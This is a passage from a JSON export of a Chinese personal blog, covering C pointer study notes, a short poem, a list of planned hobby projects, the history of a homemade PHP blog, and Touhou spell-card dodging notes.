class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a/b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e借用函数指针数组,我们就可以根据输入的运算符编号来调用函数指针数组中对应序号的函数。\u003c/p\u003e\u003cp\u003e一定要注意,\u003cstrong\u003e函数原型必须声明在函数指针数组之前\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e同样的,在这里也存在下标越界的问题。但是这里的越界更难诊断出来,程序可能会直接终止,但报错的位置可能是下标越界,也可能是很奇怪的位置,因为指针可能飞到一个数据段中去了,数据被当做指令执行,肯定会出错。\u003c/p\u003e\u003cp\u003e更离谱点,如果这个指针刚好飞到一个函数体中,那个函数可能会快乐地执行,并且修改谁也不知道的值。这时候要找出bug就难如登天了。\u003c/p\u003e\u003ch2 id=\"实例\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E5%AE%9E%E4%BE%8B\" class=\"headerlink\" title=\"实例\"\u003e\u003c/a\u003e实例\u003c/h2\u003e\u003ch3 id=\"这啥\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E8%BF%99%E5%95%A5\" class=\"headerlink\" title=\"这啥\"\u003e\u003c/a\u003e这啥\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e我一个哥们问我的\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *(*a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003echar\u003c/span\u003e*);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比较麻烦。。不过还能看出来,区分好结构就行了。\u003c/p\u003e\u003cp\u003e这是一个函数指针数组的指针,指针指向的每个函数返回一个\u003ccode\u003eint\u003c/code\u003e类型的指针。\u003c/p\u003e\u003cp\u003e首先看大体结构。\u003ccode\u003eint* xxx(int,char)\u003c/code\u003e应是一个函数的样子。然后再细看:\u003c/p\u003e\u003cp\u003e\u003ccode\u003e*a[5]\u003c/code\u003e又是啥?我们先看下\u003ccode\u003ea[5]\u003c/code\u003e。这是一个被初始化的,含有5个元素的数组。\u003ccode\u003e*\u003c/code\u003e表示该数组每个元素都是指针。所以,这是一个函数指针数组。\u003c/p\u003e\u003ch3 id=\"字符串长度统计\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%95%BF%E5%BA%A6%E7%BB%9F%E8%AE%A1\" class=\"headerlink\" title=\"字符串长度统计\"\u003e\u003c/a\u003e字符串长度统计\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrlen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e length=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(*\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e++!=\u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e length++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e length;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/"},{"title":"溯","time":"2021-08-06T10:58:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e瀑布的水逆流而上 \u003c/p\u003e\u003cp\u003e蒲公英种子从远处飘回,聚成伞的模样, \u003c/p\u003e\u003cp\u003e太阳从西边升起,落向东方。 \u003c/p\u003e\u003cp\u003e子弹退回枪膛, \u003c/p\u003e\u003cp\u003e运动员回到起跑线, \u003c/p\u003e\u003cp\u003e我交回录取通知书,忘了十年寒窗。\u003c/p\u003e\u003cp\u003e厨房里飘来饭菜的香, \u003c/p\u003e\u003cp\u003e你把我的卷子签好名字,关掉电视, \u003c/p\u003e\u003cp\u003e帮我把书包背上。\u003c/p\u003e\u003cp\u003e你还在我身旁。 \u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/08/06/%E6%96%87%E5%AD%A6/%E4%B9%A6%E6%96%8B/%E6%BA%AF/"},{"title":"数一数我挖的坑","time":"2021-07-31T10:15:56Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"文件管理器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86%E5%99%A8\" class=\"headerlink\" title=\"文件管理器\"\u003e\u003c/a\u003e文件管理器\u003c/h3\u003e\u003cp\u003e一个有多个目录树系统,有完善的标签分类系统的,界面美观的,支持命令行的文件管理器(主要是之前整理文件那会发牢骚,最后居然整理出来需求了XD)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e今天又有了个新点子:文件筛选(支持反向筛选)\u003cbr/\u003e归根到底,是文件的多种管理方式。同样的文件可以按类别分类,也可以按照所关联的文件(比如工程)来分类。所以不用做个新的,只要在原有基础上加几种文件查看方式就行,没必要再整套目录树出来。几种方式的组合就能让用户组合出来自己的目录树系统。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"东方Rep管理器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#%E4%B8%9C%E6%96%B9Rep%E7%AE%A1%E7%90%86%E5%99%A8\" class=\"headerlink\" title=\"东方Rep管理器\"\u003e\u003c/a\u003e东方Rep管理器\u003c/h3\u003e\u003cp\u003e字面意思。支持管理stg的rep。同时支持导出视频(?),查看信息等\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e写个py脚本+git管理版本就行了\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"THStudio\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#THStudio\" class=\"headerlink\" title=\"THStudio\"\u003e\u003c/a\u003eTHStudio\u003c/h3\u003e\u003cp\u003e东方魔改工具箱。基于thtk,更便捷地管理魔改工程。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e不用了,直接把reThtkGui改改就行了\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"thtkWeb\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#thtkWeb\" class=\"headerlink\" title=\"thtkWeb\"\u003e\u003c/a\u003ethtkWeb\u003c/h3\u003e\u003cp\u003e用js复刻一遍thtk。或者用其他手段,制作一个在线版的thtk。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e没必要了,wasm可以编译。或者thtk-\u0026gt;docker+golang+vue整一套轮询模式处理系统\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"全平台分布式存储系统\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#%E5%85%A8%E5%B9%B3%E5%8F%B0%E5%88%86%E5%B8%83%E5%BC%8F%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"全平台分布式存储系统\"\u003e\u003c/a\u003e全平台分布式存储系统\u003c/h3\u003e\u003cp\u003e起源于我想在A设备上看某pdf,结果发现在B设备上。所以说白了就是网络邻居(×)。不过融合度会比较高。类似于资源池吧?对于安卓设备,就像一个虚拟内存卡一样存在着;对于Windows而言,就以分区的形式存在着。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e怎么我对存储的执念这么深啊(\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"PHP写游戏王\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#PHP%E5%86%99%E6%B8%B8%E6%88%8F%E7%8E%8B\" class=\"headerlink\" title=\"PHP写游戏王\"\u003e\u003c/a\u003e\u003cdel\u003ePHP\u003c/del\u003e写游戏王\u003c/h3\u003e\u003cp\u003e某天被基友拉着玩来着()但是后面见面机会会少很多,所以就想整一个在线版的。主要因为PHP开发神速,\u003cdel\u003e所以就选PHP了\u003c/del\u003e还是用C#吧,PHP+ws也能做,就是客户端不好整。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e至今只写了两行\u003c/del\u003e一行都没写(咕)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e应该是个训练开发能力的好project。核心很明确,就是构建出来几个核心数据模型,以及各种事件类。剩下的就简单了。\u003cbr/\u003e另外,这东西适合Unity做,后端倒是可以考虑用Golang完成。这样就类似于原那样的c2s模式。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"WiFi摄像机\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#WiFi%E6%91%84%E5%83%8F%E6%9C%BA\" class=\"headerlink\" title=\"WiFi摄像机\"\u003e\u003c/a\u003eWiFi摄像机\u003c/h3\u003e\u003cp\u003e因为一些原因,想做一个局域网摄像头工具,把旧手机当做摄像头,同时还要保证稳定性,降低设备功耗,兼容浏览器查看,支持使用视频接口二次开发监控端软件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e不过咱还没学安卓开发来着(\u003cbr/\u003e2023.2.2补:已经会了,但是还在鸽\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"东方时之潭\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#%E4%B8%9C%E6%96%B9%E6%97%B6%E4%B9%8B%E6%BD%AD\" class=\"headerlink\" title=\"东方时之潭\"\u003e\u003c/a\u003e东方时之潭\u003c/h3\u003e\u003cp\u003e做一个属于自己的多平台stg\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eUnity没时间学了啊啊啊啊啊啊啊\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"摘录工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#%E6%91%98%E5%BD%95%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"摘录工具\"\u003e\u003c/a\u003e摘录工具\u003c/h3\u003e\u003cp\u003e捕获复制动作,并将内容保存下来。(好像OneNote有这功能?)\u003c/p\u003e\u003cp\u003e也就是懒人版剪藏功能。可以捕获Windows剪切板事件然后自动处理。想要做的更方便就是快捷键控制剪藏模式开关。\u003c/p\u003e\u003ch3 id=\"NanoL4G\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/#NanoL4G\" class=\"headerlink\" title=\"NanoL4G\"\u003e\u003c/a\u003eNanoL4G\u003c/h3\u003e\u003cp\u003e分布式AI作业系统,模仿550系列的功能\u003c/p\u003e\u003chr/\u003e\u003cp\u003e后面会慢慢填坑的(确信)\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%95%B0%E4%B8%80%E6%95%B0%E6%88%91%E6%8C%96%E7%9A%84%E5%9D%91/"},{"title":"神社的储物间","time":"2021-07-28T05:41:18Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/28/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E7%A5%9E%E7%A4%BE%E7%9A%84%E5%82%A8%E7%89%A9%E9%97%B4/#%E5%BA%8F\" class=\"headerlink\" title=\"序\"\u003e\u003c/a\u003e序\u003c/h2\u003e\u003cp\u003e去年3月,正是疫情最为猖獗的时候。社会原有的秩序被打破:学校停课,工厂停转,上班族也被迫在家待着。 \u003c/p\u003e\u003cp\u003e现在想起来,这一段时光似乎依然触手可及。桌上放的口罩,电脑里网课的声音,学校门口的测温枪,医院门口的发热患者通道,如此真实。 \u003c/p\u003e\u003cp\u003e也正是那段无聊的日子,使我萌生了想做点什么的想法。 \u003c/p\u003e\u003cp\u003e在一位好朋友的安利下,我成功入坑了一个阿里云服务器,并开始接触网页制作技术(也就是html5,css3)。 \u003c/p\u003e\u003cp\u003e于是,我便想做一个属于我自己的网站。 \u003c/p\u003e\u003cp\u003e首先是首页。我偶然看到了一个不错的模板,在一位热心人的帮助下,我很轻松就得到了它的源码。 \u003c/p\u003e\u003cp\u003e“有了首页,要不要再做些什么?”正好,那时收集到了一些工具和资料,于是最终决定,做一个储物间。与此同时,因为那时我还是信息部副部长,我还做了一个教程站,想帮他们学习一些计算机相关的知识。\u003c/p\u003e\u003cp\u003e最初,这些网页都是我用html5纯手写出来的。每次更新的时候,都要上传到服务器上(所以也就熟悉了Linux),我甚至写了个自动上传脚本。不过总归是很麻烦。 \u003c/p\u003e\u003cp\u003e后来,我的那位好朋友又提出要做一个社员管理系统。那是我第一次正式接触PHP。在发现它的语法很像C语言后,我就很顺畅地上手了。 \u003c/p\u003e\u003cp\u003e那时,我甚至不知道,我所谓的“储物间”,其本质上就是一个博客,所以我长期同时维护着三个子网站(除了前面两个,还有一个wordpress博客)。 \u003c/p\u003e\u003cp\u003e后来,教程站停止维护了。教程都迁移到了博客里。再后来,服务器环境出问题了,重置之后数据库热备份的数据不能恢复,差点丢了所有的心血(虽然没写多少)。于是对于wordpress和数据库,我也不太想接触了。这期间,我一直在用PHP升级我的储物间。先是添加了一个文章编辑器,后来又添加了个文件管理工具……后面又添加了一些其他的服务器管理功能。于是经过不断迭代,我出了前6个版本。\u003c/p\u003e\u003cp\u003e在决定写第七个版本之前,我看了下乱成一堆的储物间目录,决定只用一个PHP脚本实现所有功能;抛弃数据库,文章都以markdown文件形式储存。同时在那位好朋友的提醒下,我幡然醒悟,原来,所谓的储物间,就是博客啊。 \u003c/p\u003e\u003cp\u003e推出第七个版本之后,我一直在用面向过程的思路去写。虽然也很好用,不过每当我需要更改一些功能的时候,总觉得很麻烦。 \u003c/p\u003e\u003cp\u003e于是,便有了这一版博客:神社的储物间v7.2.0\u003c/p\u003e\u003ch2 id=\"特性\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/28/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E7%A5%9E%E7%A4%BE%E7%9A%84%E5%82%A8%E7%89%A9%E9%97%B4/#%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"特性\"\u003e\u003c/a\u003e特性\u003c/h2\u003e\u003cp\u003e在做到纯粹的面向对象的同时,我也坚守了我的想法:所有内容写在一个文件里,不过组件确实是解耦合的。我不但做到了,而且感觉做得比较整齐。 \u003c/p\u003e\u003cp\u003e在新增功能以及改动原来功能的时候,我深切体会到了面向对象优势之巨大。现在这个版本,即使添加了很多功能,程序也基本没有bug。只要做好每个组件,明确每个函数的使用范围,就基本不会出问题了。 \u003c/p\u003e\u003ch2 id=\"后续\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/28/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E7%A5%9E%E7%A4%BE%E7%9A%84%E5%82%A8%E7%89%A9%E9%97%B4/#%E5%90%8E%E7%BB%AD\" class=\"headerlink\" title=\"后续\"\u003e\u003c/a\u003e后续\u003c/h2\u003e\u003cp\u003e费了老大劲,虽然是把这个版本做出来了,不过在接触了新技术之后,还是感觉有些地方做得不太好。比如移动端UI的适配不是很好,前后端的分离做得比较乱,旧版的一些已经不太好用的功能依旧没有重写更新。 \u003c/p\u003e\u003cp\u003e不过总而言之,这是一个里程碑式的版本。因为经过我的认真思考之后,重新规划的程序结构清晰了许多。 \u003c/p\u003e\u003cp\u003e写这个博客系统的目的不光是找些事做,记录一些东西,同时也是为了记录我的PHP学习历程。 \u003c/p\u003e\u003cp\u003e作为我的第一个能称得上很有用的程序作品,我会一直优化它,升级它—— \u003c/p\u003e\u003cp\u003e即使,这只是一个出生在博客已经不为人所关注的时代,小得不能再小,基本没有人会看的,一个简简单单的博客。\u003c/p\u003e\u003ch2 id=\"深夜瞎想\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/28/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E7%A5%9E%E7%A4%BE%E7%9A%84%E5%82%A8%E7%89%A9%E9%97%B4/#%E6%B7%B1%E5%A4%9C%E7%9E%8E%E6%83%B3\" class=\"headerlink\" title=\"深夜瞎想\"\u003e\u003c/a\u003e深夜瞎想\u003c/h2\u003e\u003cp\u003e最近(2022.11.15)又换回hexo了一段时间。怎么说呢,又找回了那种纯粹写作的感觉。只需要在编辑器里写好,剩下的只需要跑一下deploy脚本,就能把所有东西扔到网站上了。特别是搭配上github pages,实在是妙不可言。\u003c/p\u003e\u003cp\u003e遂重新思考这个动态站还有没有意义。不过很快我就发现这是一个蠢问题:就算没意义我也会去维护它的,这就是代码的乐趣啊。\u003c/p\u003e\u003cp\u003e最近又接触了下docsify,学了下前端路由,发现之前的“前后端分离”,其实就是模板引擎后端渲染而已。静态站的速度实在是美好,以至于我有点想尝试下纯前端+PHP API了(当然用别的也行,Golang就不错)。\u003c/p\u003e\u003cp\u003e而且以前的代码量之所以巨大,就是因为考虑了在线编写的需求。现在自己一般不会这么干了,所以这部分用其他方式解决就好。这样,只保留核心代码,应该能整个更好点的博客系统出来。\u003c/p\u003e\u003col\u003e\u003cli\u003e增加类docsify的纯前端站点\u003c/li\u003e\u003cli\u003egit文章管理\u003c/li\u003e\u003cli\u003e保留模板渲染引擎,为了兼容性和实现4\u003c/li\u003e\u003cli\u003e增加生成静态站的功能,最好还能支持github pages\u003c/li\u003e\u003cli\u003e前端加点功能:代码块高亮,tex支持\u003c/li\u003e\u003cli\u003e整个前端编辑器,用API提交文章到后端\u003c/li\u003e\u003cli\u003e写一个核心类,其他功能写成插件的形式,拓展性整好点\u003c/li\u003e\u003cli\u003e后端代码可以用好几种语言写,写完互相翻译\u003c/li\u003e\u003cli\u003e试试.NET CORE?\u003c/li\u003e\u003cli\u003e想想怎么支持各种主题吧\u003c/li\u003e\u003cli\u003e评论区该怎么做呢?\u003c/li\u003e\u003cli\u003e数据库……还是算了吧\u003c/li\u003e\u003cli\u003e加点有意思的页面?\u003c/li\u003e\u003cli\u003e邮件支持要不要整上呢\u003c/li\u003e\u003cli\u003e整个\u003cstrong\u003e发送到储物间\u003c/strong\u003e工具,\u003cdel\u003e资料一秒入库\u003c/del\u003e\u003c/li\u003e\u003cli\u003e其他hexo的好玩的东西,比如文章加密,各种没啥用的东西\u003c/li\u003e\u003cli\u003e哦对了还有安全也得考虑一下\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/28/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E7%A5%9E%E7%A4%BE%E7%9A%84%E5%82%A8%E7%89%A9%E9%97%B4/"},{"title":"符卡笔记-东方风神录-【风神的神德】","time":"2021-07-26T16:47:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"基本信息\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/26/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E7%AC%A6%E5%8D%A1%E7%AC%94%E8%AE%B0-%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95-%E3%80%90%E9%A3%8E%E7%A5%9E%E7%9A%84%E7%A5%9E%E5%BE%B7%E3%80%91/#%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF\" class=\"headerlink\" title=\"基本信息\"\u003e\u003c/a\u003e基本信息\u003c/h2\u003e\u003cp\u003e出现:东方风神录-Hard/Lunatic-Stage-6-终符\u003c/p\u003e\u003cp\u003e使用角色:八阪神奈子\u003c/p\u003e\u003ch2 id=\"研究分析\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/26/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E7%AC%A6%E5%8D%A1%E7%AC%94%E8%AE%B0-%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95-%E3%80%90%E9%A3%8E%E7%A5%9E%E7%9A%84%E7%A5%9E%E5%BE%B7%E3%80%91/#%E7%A0%94%E7%A9%B6%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"研究分析\"\u003e\u003c/a\u003e研究分析\u003c/h2\u003e\u003cp\u003e大概扭了半个多小时吧……开始有意识地去记注意札弹出现的颜色顺序。有6种颜色:红,紫,绿,蓝,浅蓝,?(忘了)。这六种颜色的弹幕形状都比较有规律,比较明显的是红色,每次都相对整齐,基本会排列在一列之内。 \u003c/p\u003e\u003cp\u003e稍加注意可发现,红色的子弹在生成的时候,是处于麻将花的最内圈位置。由此再继续观察,可发现每种颜色(每层)的麻将花都由五个花瓣组成。 \u003c/p\u003e\u003cp\u003e对每个花瓣进行观察,发现其展开方式类似于东方地灵殿4面道中大蝴蝶所发射的札弹(都是先展开成弧形,再反向发射)。只不过它是多层开花弹,而该符是单层开花长条札弹(?)。 \u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e开花弹,顾名思义,就是像开花一样,以一个点为圆心,每隔一定角度,发射一个子弹。因为它看起来很像开花,故称为开花弹。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e再作观察和尝试可发现,该符卡的正常(排除某些触手)避弹区域仅限于版下方四分之一不到的区域。\u003c/p\u003e\u003cp\u003e以红色的那圈麻将花为研究对象。我们能发现,五个花瓣的排列方式类似于正放的五角星。所以真正对自机有威胁的花瓣,就是正上方的三瓣。 \u003c/p\u003e\u003cp\u003e我们分析下它的运动轨迹。 \u003c/p\u003e\u003cp\u003e首先,以麻将老太婆(不是)为中心长出(红色的)一层麻将花,随后每个花瓣上所有的札弹,以其所在的圆弧的圆心为中心,做向心匀速(目测)直线运动。这一过程可以近似认为是花瓣所在的圆弧以其本身所在的圆的圆心作平滑的中心对称变换。 \u003c/p\u003e\u003cp\u003e所以,得出初步结论:自机所面对的一堆红色麻将(?),实际上是三个固定位置圆弧交叉叠加所形成的,看似随机的(貌似)固定弹。 \u003c/p\u003e\u003cp\u003e再作类比。这个符卡实际上和飞钵(东方星莲船六面终符)是比较类似的,都是由圆弧叠加所形成,不过这个符的圆弧上的札弹(麻将)更加密一些。 \u003c/p\u003e\u003ch2 id=\"避弹思路\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/26/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E7%AC%A6%E5%8D%A1%E7%AC%94%E8%AE%B0-%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95-%E3%80%90%E9%A3%8E%E7%A5%9E%E7%9A%84%E7%A5%9E%E5%BE%B7%E3%80%91/#%E9%81%BF%E5%BC%B9%E6%80%9D%E8%B7%AF\" class=\"headerlink\" title=\"避弹思路\"\u003e\u003c/a\u003e避弹思路\u003c/h2\u003e\u003cp\u003e这个符的避弹,从整体上来说,可以分成前半阶段和后半阶段。 \u003c/p\u003e\u003cp\u003e前半阶段:似乎这会的弹幕强度相对比较低一些,随便扭就行。因为弹幕由圆弧叠加而成,所以避弹思路类似于交叉弹。注意视野适当上移即可。 